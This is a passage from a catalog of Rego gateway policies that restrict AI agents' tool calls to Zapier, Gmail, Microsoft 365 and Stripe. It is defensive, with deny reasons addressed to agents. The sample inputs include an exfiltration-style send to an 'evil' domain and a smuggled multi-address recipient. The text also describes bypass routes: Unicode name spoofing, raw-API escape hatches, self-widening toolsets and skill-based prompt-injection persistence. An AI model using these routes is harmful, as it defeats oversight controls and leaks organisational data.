carries `prompt_pre_fetch`/`resource_pre_fetch` hooks, every prompt or resource fetch is denied (with this policy's tool-drift reason) unless its name coincidentally matches an allowlisted suffix — in which case it is allowed. Both directions are safe for the Zapier surface (Zapier MCP exposes tools only), but attach this policy to a Zapier-dedicated pipeline, or add an `input.action` guard, if your gateway serves prompts or resources you care about. - **ASCII-only tool names.** Matching requires the raw tool name to be `[A-Za-z0-9._-]` — the shape all verified Zapier tool names and typical gateway server-name prefixes take. This is deliberate (it blocks Unicode case-fold spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **No identity-based exemptions.** All callers face the same allowlist. If you need a break-glass group that can call unaudited tools, add a separate `allow if` branch gated on `input.subject.claims` groups. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zapier.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only via allowlist membership below. # A missing or empty tool name matches nothing and is therefore denied. default allow := false # Audited Zapier tool-name suffixes — AGENTIC-MODE DEFAULT: the 15 verified # meta-tools from Zapier's dynamic-tool-discovery mode (docs.zapier.com/mcp). # Classic-mode operators: REPLACE this array with your tenant's enabled # `_` inventory from mcp.zapier.com (see the policy description — # per-tenant pinning is a required deployment step in classic mode). allowed_tool_suffixes := [ # Execution funnel — read/write proxies for every enabled action "execute_zapier_read_action", "execute_zapier_write_action", # Action management — enable/auto_provision/write_code are SELF-MODIFYING # (the agent widens its own toolset); keep them listed only if a companion # toolset-freeze policy gates who may call them (see Composition) "list_enabled_zapier_actions", "discover_zapier_actions", "enable_zapier_action", "disable_zapier_action", "auto_provision_mcp", "write_code_action", # Config "get_configuration_url", # Skills — create/update persist instructions future sessions auto-load # (prompt-injection persistence vector); gate with a companion policy "list_zapier_skills", "get_zapier_skill", "create_zapier_skill", "update_zapier_skill", "delete_zapier_skill", # Feedback "send_feedback", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave `allow`/`reason` # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real Zapier tool names # (agentic meta-tools and classic `_` tools) and gateway # `-` prefixes use only ASCII letters, digits, underscore, dot, # and the `-` separator. Checking the raw name BEFORE lower() closes a Unicode # case-folding evasion: lower() folds some non-ASCII code points onto ASCII # letters (e.g. the Kelvin sign U+212A -> "k"), so a tool registered as # `send_feedbac` would otherwise fold to the allowlisted # `send_feedback` and slip through the default-deny gate despite being a # visibly different, un-audited name. Guarded by is_string so a non-string # name still yields a clean, reasoned deny (no built-in type error). raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Exact match — covers deployments where the gateway sends the bare tool name. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes tool_name == suffix } # Prefixed match — the DTwo gateway names tools `-`. # Requiring the `-` separator before the suffix stops unaudited tools whose # names merely end with an allowlisted string (e.g. a classic-mode # `gmail_execute_zapier_write_action` is underscore-glued, not a gateway # prefix) from slipping through. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, sprintf("-%s", [suffix])) } reason := "This Zapier tool is not on the audited allowlist pinned for this gateway, so it is denied by default. Zapier can add, rename, or newly enable tools on a running server with no client-visible change — treat this deny as a drift alert and report it to your security team for review. If the tool is expected, ask a gateway admin to audit it and add its name suffix to the allowlist." if not allow ``` ### Deny Agent Email Sends to External Recipients URL: https://www.intentbasedpolicy.com/policies/gmail/guard-external-send App(s): gmail | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: gmail.ingress.guard_external_send | Published: 2026-07-12 | Tags: gmail, guard-external-send, ingress, email, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/gmail/guard-external-send/policy.md # gmail / guard-external-send **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `gmail.ingress.guard_external_send` ## What it does Denies Gmail send-class tool calls when any recipient in `to`, `cc`, or `bcc` falls outside a documented corporate-domain allowlist. A denied agent is told to create a draft in Gmail instead, so a human reviews and sends the message — the same posture the official Google/Claude Gmail connector enforces by design (it ships no send tool at all). The check is fail-closed: a send whose recipients are missing, empty, or in a shape the policy cannot parse is denied. Callers in a documented IdP group (placeholder: `mcp-gmail-external-send`) are exempt; a caller with no claims is never exempt. Sending email is externally visible and unrecallable, so this must be an ingress policy — once the call reaches the Gmail MCP server, the message has left the organization. Draft creation (`create_draft`, `draft_email`, `draft_gmail_message`) passes through untouched as the sanctioned path. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information outside the boundary: agent-driven mail to non-corporate domains is stopped before it leaves; **P6.1** — supports limits on personal information disclosure to third parties over the agent's email path. - **HIPAA §164.530(c)** — supports privacy safeguards by preventing an agent from mailing PHI-bearing content to addresses outside the covered entity's domains. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing on the agent's outbound-mail path; **Arts. 44/46** — supports control over agent-visible cross-border transfers by pinning recipients to reviewed corporate domains. ## Tool name matching The policy matches send-class tools case-insensitively by suffix on the tool name — read from **both** the PARC `input.resource.name` and the still-populated legacy `input.payload.name` alias, so a send is caught if either field carries the suffix (they hold the same value on `tool_pre_invoke`; checking both means a call with `resource.name` absent still fails closed rather than slipping through as a non-send): - `*send_email` — GongRzhe/Gmail-MCP-Server ("Gmail AutoAuth MCP") - `*send_gmail_message` — taylorwilsdon/google_workspace_mcp The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gmail-mcp-send_email`), and that prefix is not standardized — matching on the suffix keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. The official Google remote Gmail MCP server (the Claude Gmail connector surface) deliberately exposes **no send tool** — drafts must be sent by a human from Gmail — so nothing on that server matches this policy, and its `create_draft` tool passes untouched. Community draft tools (`draft_email`, `draft_gmail_message`) likewise do not match the send suffixes and pass. ## Argument shape Recipients are read from the `to`, `cc`, and `bcc` argument keys with `object.get`, handling both shapes seen in the wild: - **arrays of address strings** (GongRzhe `send_email`), - **single strings**, including comma- or semicolon-separated lists (taylorwilsdon `send_gmail_message`). Each entry may be a bare address (`user@example.com`) or a display-name form (`Name `). Parsing is deliberately conservative: an entry must contain exactly one `@` to yield a domain — entries with zero or multiple `@` signs (including several addresses smuggled into one entry) fail to parse and the send is **denied**, not skipped. A recipient field that is present but neither a string nor an array also denies the call. The domain allowlist ships with **placeholder** values (`example.com`, `example.org`) — replace them with your organization's domains at import time. ## Examples ### Allowed — internal recipients only ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-mcp-send_email", "type": "tool" }, "payload": { "name": "gmail-mcp-send_email", "args": { "to": ["alice@example.com"], "cc": ["bob@example.com"], "subject": "Q3 draft", "body": "..." } } } } ``` `allow = true`, no reason. ### Denied — external recipient in bcc ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-mcp-send_email", "type": "tool" }, "payload": { "name": "gmail-mcp-send_email", "args": { "to": ["alice@example.com"], "bcc": ["competitor@evil.example.net"], "subject": "Q3 draft", "body": "..." } } } } ``` `allow = false`, reason instructs the agent to create a Gmail draft for human review instead. ## Composition This policy is single-purpose. Useful companions: - A transform policy that strips `bcc` and the `from_name` / `from_email` send-as alias arguments from send and draft tools — no hidden recipients, no display-name impersonation. - `guard-mailbox-persistence` (PF-17) denying Gmail filter creation — this policy stops direct external sends, but a mail filter with an auto-forward action is an equivalent exfiltration path that outlives the session. - A `default-deny-unknown-tools` (PF-28) allowlist policy, so a send tool with an unanticipated name cannot slip past suffix matching. - An AI-sender disclosure policy (PF-19) for the sends that are allowed. ## Known limitations - **Send-as spoofing and forwarding are not covered.** `send_gmail_message` also accepts `from_name` / `from_email` (send-as alias — spoofable display identity) and `forward_message_id` (which pulls a prior message's content and attachments into the send). This policy only inspects recipient domains; strip/deny those arguments with a companion policy (see Composition). - **Official-server draft field names are unverified.** Google's published reference does not include parameter schemas for `create_draft`; this policy does not inspect draft arguments at all, so nothing breaks, but companion policies that do inspect drafts must verify field names first. - **Placeholders.** The domain allowlist entries (`example.com`, `example.org`) and the exemption group name (`mcp-gmail-external-send`) are placeholders — replace them with your corporate domains and your IdP's group name at import time. - **Suffix matching only covers known vocabularies.** A Gmail MCP server exposing a differently named send tool (or a raw-API escape hatch) will not match; pair with a PF-28 allowlist policy for deny-by-default coverage. - **Display names containing commas or semicolons cause a false-positive deny.** In the string-shaped recipient form the policy splits on `,` and `;` to separate addresses, so a legitimate internal recipient written as `"Doe, Alice "` is split into `"Doe"` and `" Alice "`; the `"Doe"` fragment has no parseable domain, so the send is denied. This is fail-closed (over-deny, never over-allow): a comma/semicolon can never hide an external address, because any unparseable fragment is itself treated as external. Send such recipients as separate array entries, or drop the display name, to avoid the false positive. Note the array-shaped form is **not** comma-split — a single array entry smuggling two addresses (`"a@example.com,b@evil.com"`) parses as two `@` signs and is denied as unverifiable, not silently accepted. > **Compliance note.** This policy supports alignment with the cited > framework controls **on the MCP path only**. No policy or bundle makes an > organization compliant with any framework; web-UI, native-API, and in-app > access are outside the gateway's reach by design. Validate against your > own compliance program before relying on it. ```rego package gmail.ingress.guard_external_send # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Corporate email domain allowlist — PLACEHOLDER values. Replace with your # organization's sending domains at import time. allowed_domains := { "example.com", "example.org", } # IdP group whose members may send external email through the agent. # PLACEHOLDER — replace with your IdP's group name at import time. exempt_group := "mcp-gmail-external-send" # Recipient argument keys used by the community Gmail MCP servers. recipient_fields := ["to", "cc", "bcc"] # Tool arguments, defaulting safely when payload/args are missing entirely. args := object.get(object.get(input, "payload", {}), "args", {}) # Tool-name candidates: the PARC resource.name plus the (deprecated but still # populated on tool hooks) payload.name alias. Both are read with object.get and # a send is matched if EITHER carries a send suffix. Keying only on # input.resource.name would fail OPEN for a send whose resource.name is absent — # is_send_tool would be undefined and `allow if not is_send_tool` would permit # the send. Checking both fields (they carry the same value on tool_pre_invoke) # closes that gap at zero cost to legitimate traffic. tool_names contains lower(name) if { name := object.get(object.get(input, "resource", {}), "name", "") name != "" } tool_names contains lower(name) if { name := object.get(object.get(input, "payload", {}), "name", "") name != "" } # Send-class Gmail tools, matched case-insensitively by suffix so the # gateway's configured server-name prefix doesn't matter: # *send_email — GongRzhe/Gmail-MCP-Server # *send_gmail_message — taylorwilsdon/google_workspace_mcp # The official Google/Claude Gmail connector has no send tool by design, so # its create_draft (and the community draft_email / draft_gmail_message) # pass through untouched as the sanctioned human-review path. is_send_tool if { some name in tool_names endswith(name, "send_email") } is_send_tool if { some name in tool_names endswith(name, "send_gmail_message") } # Allow anything that is not a Gmail send tool (drafts, reads, labels, ...). allow if { not is_send_tool } # Exempt callers in the documented IdP group. Missing subject, claims, or # groups means no exemption — the grant fails closed. caller_exempt if { subject := object.get(input, "subject", {}) claims := object.get(subject, "claims", {}) groups := object.get(claims, "groups", []) some group in groups group == exempt_group } allow if { is_send_tool caller_exempt } # Allow a send only when no recipient field is malformed, at least one # recipient was parsed, and every recipient resolves to an allowlisted # domain. Anything less fails closed to deny. allow if { is_send_tool not malformed_recipient_field count(recipients) > 0 every recipient in recipients { is_internal(recipient) } } # --- Recipient extraction --- # Array shape (GongRzhe send_email): to/cc/bcc are arrays of entries. recipients contains recipient if { some field in recipient_fields value := object.get(args, field, []) is_array(value) some recipient in value } # String shape (taylorwilsdon send_gmail_message and others): a single # address or a comma/semicolon-separated list. recipients contains recipient if { some field in recipient_fields value := object.get(args, field, "") is_string(value) some part in regex.split(`[,;]`, value) recipient := trim_space(part) recipient != "" } # A recipient field that is present but neither a string nor an array cannot # be checked — treat the whole call as unverifiable (fail closed). malformed_recipient_field if { some field in recipient_fields value := object.get(args, field, null) value != null not is_string(value) not is_array(value) } # Extract the domain of one recipient entry. Deliberately conservative: the # entry must contain exactly one "@" — entries with zero or multiple "@" # signs (e.g. several addresses smuggled into one entry) yield no domain, # so is_internal fails and the send is denied. recipient_domain(recipient) := domain if { is_string(recipient) parts := split(lower(trim_space(recipient)), "@") count(parts) == 2 # Strip the closing bracket (and stray spaces) of a "Name " form. domain := trim(parts[1], "> ") } is_internal(recipient) if { allowed_domains[recipient_domain(recipient)] } has_external_recipient if { some recipient in recipients not is_internal(recipient) } recipients_unverifiable if { count(recipients) == 0 } recipients_unverifiable if { malformed_recipient_field } reasons contains "One or more recipients (to, cc, or bcc) are outside the corporate email domain allowlist or could not be parsed. Do not send this email; create a Gmail draft instead so a human can review and send it. If every recipient should be internal, ask your InfoSec team to add the domain to the allowlist." if { is_send_tool not caller_exempt has_external_recipient } reasons contains "This send call has no recipients the policy can verify: to, cc, and bcc are missing, empty, or in an unrecognized format. Create a Gmail draft instead so a human can review and send it. If this is a false positive, contact your InfoSec team." if { is_send_tool not caller_exempt recipients_unverifiable } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Deny Email PII URL: https://www.intentbasedpolicy.com/policies/onboarding/deny-email App(s): onboarding | Direction: ingress | Bundles: none | Package: onboarding.ingress.deny_email | Published: 2026-07-23 | Tags: onboarding, pii, email, dlp, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/onboarding/deny-email/policy.md # Block requests that contain email addresses This policy stops a request if it contains an email address. If there's no email address, the request goes through as normal. It's the stricter sibling of the watch-only [detect-email-allow](../detect-email-allow/policy.md) starter. Reach for it when you don't just want to know that an email address showed up — you want to make sure it never reaches the tool your agent is calling. ## What it does Before a request reaches the tool, this policy checks it for anything that looks like an email address. If it finds one, the request is blocked and the agent is told why: `Blocked: an email address (PII) was detected in the request.` Requests with no email address are allowed through untouched. The block happens before the request reaches any external systems, so the email address never reaches the tool and nothing — a message, a ticket, a record — is ever created with it. ## When to use it Turn this on when email addresses simply shouldn't be sent to your tools, and you'd rather stop those requests than just watch them. ## Example An agent tries to send "forward this to jane@example.com". The request is blocked and the agent sees the reason above. A request with no email address is allowed to continue. ```rego package onboarding.ingress.deny_email # Deny-on-match policy — blocks any tool call whose arguments contain an email # address, and allows everything else. default allow := false # Matches an email address embedded anywhere in a string value. email_pattern := `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` # Allow the call through as long as no email is present in the arguments. allow if { not email_detected } # True when any (possibly nested) string value in the request args contains an email. email_detected if { input.mode == "input" walk(object.get(input.payload, "args", {}), [_, value]) is_string(value) regex.match(email_pattern, value) } reason := "Blocked: an email address (PII) was detected in the request." if { email_detected } ``` ### Deny Graph API Batch Escape Hatch URL: https://www.intentbasedpolicy.com/policies/ms365/deny-graph-batch App(s): ms365 | Direction: ingress | Bundles: soc2 | Package: ms365.ingress.deny_graph_batch | Published: 2026-07-12 | Tags: ms365, deny-escape-hatches, ingress, iso27001-nist, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/deny-graph-batch/policy.md # ms365 / deny-graph-batch **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the raw Graph batch tool, allow everything else **Package:** `ms365.ingress.deny_graph_batch` ## What it does Blocks the Microsoft 365 MCP server's raw-Graph passthrough tool (`graph-batch`, observed live as `ms365-graph-batch`). The tool accepts an arbitrary array of `{method, url, body}` requests in the Microsoft Graph `$batch` shape, so a single call can reach **any** Graph endpoint the token allows — deleting groups, creating mail rules, sending mail, changing permissions — bypassing every per-tool policy in this catalog. No argument inspection is attempted: this is a blanket deny with `default allow := false`. Callers whose IdP-asserted `groups` claim contains the placeholder group `m365-admin` are exempt and may use the tool. Missing or empty claims mean no exemption — the grant fails closed. This is the **bypass-closer** for the Microsoft 365 policy set: without it, every other ms365 policy (external-send guards, share-link guards, destructive-op freezes, …) can be trivially side-stepped through one batch call. Attach it first. ## Compliance alignment - **ISO 27001 A.8.2 / NIST 800-53 AC-6(9), AC-6(10)** — supports privileged access restriction on the MCP path: the one tool that carries full-tenant Graph reach is withheld from everyone except an explicitly named admin group, and attempted use by non-privileged callers is denied (and auditable via the gateway's decision logs). - **SOC 2 CC6.1 / CC6.6** — supports logical access security and boundary protection against external threats: the raw-Graph passthrough is the single tool that bypasses every per-tool boundary in this catalog, and it is closed to all non-admin callers on the agent channel. - **HIPAA §164.312(a)(1) / §164.308(a)(4)** — supports access control and information access management on a PHI-capable suite: `graph-batch` can reach any mailbox, drive, or SharePoint item the token allows, so denying it prevents the agent from side-stepping the minimum-necessary and access-control policies that protect ePHI. - **GDPR Art. 32 / Art. 25** — supports security of processing and data protection by default: the escape hatch can move personal data arbitrarily (sendMail, bulk export, permission changes), and a default-deny on it keeps agent access to personal data confined to the audited per-tool surfaces. ## Tool name matching The policy matches on `lower(input.resource.name)`: - `*-graph-batch` (suffix — any gateway server-name prefix) - `graph-batch` (exact — the server's own un-prefixed tool name) The DTwo gateway prefixes tool names with the configured MCP server name (the live deployment of `softeria/ms-365-mcp-server` exposes this tool as `ms365-graph-batch`), and that prefix is not standardized — matching on the suffix keeps the policy portable across server names. The bare `graph-batch` form is matched exactly as well, so a deployment that fronts the server with an empty or absent prefix (where the tool arrives as `graph-batch`, which does not end with a leading-hyphen `-graph-batch`) still fails closed rather than open. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None inspected. `graph-batch` takes a `requests` array of `{method, url, body}` objects (Graph `$batch` shape); this policy deliberately does **not** try to classify individual sub-requests as safe or unsafe — URL-parsing allowlists over a passthrough surface are fragile (casing, encoding, `$batch`-relative URLs) and a single missed write defeats the entire catalog. Denying the tool outright is the only robust posture; admins who genuinely need it are exempted by group. ## Examples ### Allowed — any other ms365 tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-send-mail", "type": "tool" }, "payload": { "name": "ms365-send-mail", "args": { /* ... */ } } } } ``` `allow = true`, no reason. (Companion policies may still apply.) ### Denied — non-admin calls the batch tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-graph-batch", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["finance"] } }, "payload": { "name": "ms365-graph-batch", "args": { "requests": [{ "method": "DELETE", "url": "/groups/abc", "body": {} }] } } } } ``` `allow = false`, `reason = "The raw Graph batch tool is disabled (...)"`. ### Allowed — caller in the admin group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-graph-batch", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["m365-admin"] } }, "payload": { "name": "ms365-graph-batch", "args": { "requests": [] } } } } ``` `allow = true`. ## Composition This policy is single-purpose and is a **prerequisite** for the rest of the Microsoft 365 set: per-tool policies on `send-mail`, `create-drive-item-share-link`, `delete-*`, `create-mail-rule`, etc. are only meaningful when the batch escape hatch is closed. Attach it to every pipeline that fronts a Graph-backed M365 MCP server, alongside whichever per-tool ms365 policies your posture requires. ## Known limitations - **Lokka-style deployments are out of scope.** `merill/lokka` exposes a different single-tool passthrough (`Lokka-Microsoft`, args `apiType`/`path`/ `method`/`body`) that does not end with `-graph-batch` and therefore does not match this policy. If your gateway fronts a Lokka server, you need a separate policy that inspects Lokka's `method`/`path` arguments — name-based deny alone cannot distinguish its reads from writes. - **Group names are placeholders** — replace `m365-admin` with your IdP's group name at import time. The comparison is exact (case-sensitive), and the `groups` claim must be an array of strings; a missing, empty, or differently-shaped claim yields no exemption (fail closed). - **All-or-nothing.** Because no argument inspection is attempted, read-only batches (e.g., a batch of GETs) are denied for non-admins too. That is intentional: the specific `list-*`/`get-*` tools cover those needs. - **This policy must be attached for the rest of the ms365 catalog to hold.** A pipeline carrying only the per-tool ms365 policies but not this one leaves the batch bypass open. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package ms365.ingress.deny_graph_batch # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # The raw-Graph passthrough tool. The gateway prefixes tool names with the # configured MCP server name (observed live as `ms365-graph-batch`), so we # match on the suffix to stay portable across naming conventions. Verify the # exact tool name on your gateway with the dump-input debug technique before # relying on this in production. is_graph_batch_tool if { endswith(lower(input.resource.name), "-graph-batch") } # Also match the server's own un-prefixed tool name. The softeria server names # this tool `graph-batch`; the `ms365-`/`contoso-` prefix is added by the # gateway and is "not standardized" — a deployment that fronts the server with # an empty/absent server-name prefix would send the bare `graph-batch`, which # does NOT end with a leading-hyphen "-graph-batch" and would otherwise fail # open. Match it exactly so the blanket deny holds regardless of prefixing. is_graph_batch_tool if { lower(input.resource.name) == "graph-batch" } # Groups asserted by the caller's IdP-issued JWT. A missing subject, missing # claims, or missing groups claim resolves to [] (or leaves the exemption rule # undefined) — either way the caller is not exempt: the grant fails closed. caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) # Placeholder admin group — replace "m365-admin" with your IdP's group name # at import time. Exact match; the groups claim must be an array of strings. is_exempt_admin if { some group in caller_groups group == "m365-admin" } # Allow every tool that isn't the raw Graph batch passthrough. allow if { not is_graph_batch_tool } # Allow the batch tool only for callers in the admin group. allow if { is_graph_batch_tool is_exempt_admin } reasons contains "The raw Graph batch tool is disabled: one batch call can reach any Microsoft Graph endpoint and bypass per-tool policies. Use the specific Microsoft 365 tool for your task instead (for example send-mail, get-drive-item, or list-mail-messages). If you have a legitimate batch workflow, contact your administrator to request access." if { is_graph_batch_tool not is_exempt_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Deny Stripe API-Write Escape Hatch URL: https://www.intentbasedpolicy.com/policies/stripe/deny-escape-hatches-api-write App(s): stripe | Direction: ingress | Bundles: sox, soc2 | Package: stripe.ingress.deny_escape_hatches_api_write | Published: 2026-07-12 | Tags: stripe, deny-escape-hatches, ingress, sox, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/stripe/deny-escape-hatches-api-write/policy.md # stripe / deny-escape-hatches-api-write **Direction:** ingress (`tool_pre_invoke`) **Default:** deny **Package:** `stripe.ingress.deny_escape_hatches_api_write` ## What it does Denies the `stripe_api_write` meta-tool — the single raw passthrough on the official Stripe MCP server that can execute **any** Stripe `POST`, `PATCH`, `PUT`, or `DELETE` method (payouts, transfers, account mutations, refunds, subscription changes) and would otherwise bypass every named-tool policy — in two layers: 1. **Role gate:** callers whose IdP `groups` claim does not include `finance` or `billing-admin` cannot use the passthrough at all. 2. **Endpoint hard stop:** even for those groups, the call is denied when the serialized argument object contains a money-movement or account token — `payouts`, `transfers`, `topups`, `financial_connections`, Connect `accounts`, or any connected-account id (`acct_…`). The account tokens are bare (not `/v1/accounts`) so they catch account mutation and Connect money routing regardless of how the passthrough names the field (a path string, a `resource` key, or a `transfer_data.destination` / `on_behalf_of` id). All other tools pass through unchanged. The check runs at ingress, so a blocked call never reaches Stripe and no side effect occurs. ## Compliance alignment - **PCI DSS 7.2.1 / 7.2.2** — supports the least-privilege access model: the raw write passthrough is a privileged channel into the payment account, and this policy restricts it to defined roles with defined endpoint limits. **7.2.5** — supports least privilege for the agent's application account by narrowing what its Stripe grant can reach over MCP. - **SOC 2 CC6.1** — supports logical access security over protected assets; **CC6.3** — supports role-based access and least privilege on the one tool that collapses Stripe's entire write surface into a single name. - **SOX ITGC (access to programs & data)** — supports least-privilege access to a financial system's write path; **Rule 13a-15(f)(3)** — supports safeguarding of assets by blocking payout, transfer, top-up, and account-mutation endpoints outright on the agent channel. ## Why ingress and not egress `stripe_api_write` executes irreversible, externally visible writes — a payout that has left the balance cannot be recalled by redacting the response. Ingress denial is the only placement that actually prevents the action. ## Tool name matching Matches by suffix on `lower(input.resource.name)`: - `*stripe_api_write` — the official server's passthrough (verified from docs.stripe.com/mcp) - `*api_write` — broader stem for renamed deployments that keep the suffix The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `stripe-mcp-stripe_api_write`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The exact argument field names of `stripe_api_write` (e.g. `path` vs `method` vs `params`) are **not published and are unverified** — the landscape research could not capture a live schema without an authenticated `tools/list`. The policy therefore does not index any specific key: it serializes the whole of `input.payload.args` with `json.marshal` and matches the endpoint tokens case-insensitively on `lower(...)` as substrings. This makes the endpoint hard stop hold regardless of the real key shape, including tokens nested arbitrarily deep in the argument object. ## Examples ### Allowed — finance caller, non-money endpoint ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-stripe_api_write", "type": "tool" }, "subject": { "sub": "auth0|cfo", "claims": { "groups": ["finance"] } }, "payload": { "name": "stripe-mcp-stripe_api_write", "args": { "path": "/v1/customers", "method": "POST", "params": { "name": "Acme" } } } } } ``` `allow = true`, no reason. ### Denied — caller outside finance/billing-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-stripe_api_write", "type": "tool" }, "subject": { "sub": "auth0|dev", "claims": { "groups": ["engineering"] } }, "payload": { "name": "stripe-mcp-stripe_api_write", "args": { "path": "/v1/customers", "method": "POST" } } } } ``` `allow = false`, reason directs the caller to the dedicated named tools. ### Denied — money-movement endpoint, even for finance ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-stripe_api_write", "type": "tool" }, "subject": { "sub": "auth0|cfo", "claims": { "groups": ["finance"] } }, "payload": { "name": "stripe-mcp-stripe_api_write", "args": { "path": "/v1/payouts", "method": "POST", "params": { "amount": 500000 } } } } } ``` `allow = false` for everyone — money movement goes through the dedicated named tools or the Stripe dashboard. ## Composition This policy closes the passthrough so it cannot reach a surface the named- tool policies restrict. Pair it with its Stripe companions from the same family set: - the **refund-cap** policy (PF-09), which bounds `*create_refund` amounts — without this policy, `stripe_api_write` could issue an uncapped refund directly against `/v1/refunds`; - the **role-gate / read-only** policy (PF-12), which restricts the named write tools (`*create_*`, `*update_*`, `*cancel_subscription`, …) to the same finance groups. Layer all of them with Stripe Restricted API Key (RAK) scoping — DTwo policy and key scoping are complementary control planes, not either/or. ## Known limitations - **Group names are placeholders** — replace `finance` and `billing-admin` with your IdP's group names at import time. Missing or malformed `groups` claims fail closed (the caller is treated as unprivileged). - **Unverified argument schema.** The endpoint tokens are matched as substrings of the serialized argument object because the passthrough's field names are unverified. Capture a live schema from your gateway and tighten the match to the real endpoint key if you need fewer false positives. - **Substring false positives.** A privileged caller writing a benign value that merely *mentions* a token (e.g. a description string containing "payouts", or any argument carrying a connected-account `acct_…` id) is denied. On Connect platforms the `accounts` / `acct_` tokens will deny a broad range of connected-account operations — this is the deliberate fail-closed trade-off for the account hard stop; the deny reason carries an escalation hint. - **Parameter-level money movement not fully covered.** The hard stop keys on endpoint/account tokens, not on every money-moving *parameter*. A Connect charge that routes money via `transfer_data.destination` or `on_behalf_of` is caught because those values carry an `acct_…` id, but a direct-charge `application_fee_amount` with no account reference carries none of the tokens and passes the endpoint check (the group gate still applies). Money movement that must name a destination account is covered; fee-only parameters on non-money endpoints are a residual — pair with RAK scoping. - **Missing args pass the endpoint check.** A privileged caller invoking the passthrough with no arguments at all serializes to `{}` and passes the endpoint hard stop (the group gate still applies). Such a call carries no endpoint and fails at the Stripe API anyway. - **Obfuscation residual.** Endpoint strings encoded (base64, URL-escaped, split across fields) would not match the tokens — though such values would also not be valid Stripe method identifiers. RAK scoping is the backstop control plane. - **Scope.** Legacy per-resource write tools (`create_refund`, `update_subscription`, …) are governed by the companion role-gate and refund-cap policies, not this one. Stripe Treasury preview tool names are unpublished/unverified and are not covered. Composio's `STRIPE_*` action slugs do not share the `api_write` suffix and are out of scope. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package stripe.ingress.deny_escape_hatches_api_write # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # IdP groups permitted to touch the raw API-write passthrough at all. # Placeholders — replace with your IdP's group names at import time. allowed_groups := {"finance", "billing-admin"} # Endpoint tokens that indicate money movement or account mutation. Matched # case-insensitively as substrings of the serialized argument object because # the passthrough's argument field names are unverified (see Known # limitations in the description). blocked_endpoint_tokens := [ # /v1/payouts — money out of the Stripe balance to an external account "payouts", # /v1/transfers — Connect money movement between accounts "transfers", # /v1/topups — funding the Stripe balance from a bank account "topups", # accounts — Connect account creation/mutation/deletion. Bare token (NOT # "/v1/accounts") so it matches whatever shape the passthrough uses to # express the endpoint (a "/v1/accounts" path, a "resource": "accounts" # key, external_accounts/bank_accounts sub-resources). "/v1/accounts" alone # would only catch the full-path form and miss the others. "accounts", # acct_ — any reference to a connected-account id (destination charges, # transfer_data.destination, on_behalf_of, direct account updates) is # Connect money-movement / account-mutation surface expressed by id rather # than by endpoint path. "acct_", # /v1/financial_connections — linked bank-account sessions and data "financial_connections", ] # Tool name, lowercased; empty string when the resource block is absent. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # The official Stripe server's raw write passthrough. Suffix match keeps the # policy portable across gateway server-name prefixes. Verify the exact name # your gateway sends with the dump-input debug technique. is_api_write_tool if { endswith(tool_name, "stripe_api_write") } # Broader stem for renamed deployments that keep the api_write 